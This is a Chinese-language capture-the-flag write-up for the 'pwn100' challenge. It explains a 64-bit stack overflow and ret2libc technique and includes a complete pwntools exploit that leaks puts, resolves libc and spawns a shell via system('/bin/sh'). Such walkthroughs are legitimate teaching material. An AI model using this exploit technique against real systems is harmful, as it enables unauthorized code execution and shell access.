下载文件,checksec看保护,发现可以使用栈溢出
用ida打开,结构非常简单,跟进sub_40064D
分析可以得到就是一个简单的输入,输入200个字节内容,然后退出
那么便可以发现 v1是存在栈溢出的,但是发现此题目是没有system和/bin/sh的,那么便就是典型的64位的ret2libc,下面开始构建payload。
注意64位的传参方式,前六的参数传递到rdi,rsi,rdx,rcx,r8,r9各个寄存器上面,第七个参数开始传入的栈中,构造system("/bin/sh\x00"),先将/bin/sh地址pop到rdi中,再调用system,先ROPgadget获得pop_rdi_ret和ret(64位堆栈平衡)。
#也可以用下面语句获得指定寄存器
ROPgadget --binary pwn100 --only "pop|ret" | grep rdi
ok,准备完毕,直接上脚本
from pwn import *
from LibcSearcher3 import *
context(arch='amd64',log_level='debug')
#p=remote("61.147.171.105",54704)
p=process("./pwn100")
elf = ELF("./pwn100")
ret = 0x00000000004004e1
pop_rdi_ret = 0x0000000000400763
main = 0x040068E
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
#第一部分泄露libc的基地址
padding = cyclic(0x40+8)
payload = padding
payload += flat(pop_rdi_ret,puts_got,puts_plt,main)
payload = payload.ljust(200,b'a')
p.send(payload)
p.recvuntil("bye~\n")
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(f'[+][+][+]puts_address = {hex(puts_addr)}')
libc = LibcSearcher('puts',puts_addr)
base = puts_addr - libc.dump('puts')
#第二部分获得system和/bin/sh\x00地址
system = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')
#第三部分开始攻击
payload1 = padding
payload1 += flat(pop_rdi_ret,bin_sh,ret,system)
#ret是64位堆栈平衡,但这里好像不加也没关系
payload1 = payload1.ljust(200,b'a')
p.send(payload1)
p.interactive()
发送后,选的是第四个
说明一下,打远程选用的是LibcSearcher3,因为用的是python3环境,打本地用的是LibcSearcher,虽然用的也是python3。
注释一下:
对于LibcSearcher,由于没人维护了,且适用于python2,好多情况LibcSearcher搜不到合适的libc版本,那么你可以通过泄露的地址的后三位,去如下这个网站直接找
libc database search (blukat.me)
而LibcSearcher3适用于python3,详情点击下方链接看吧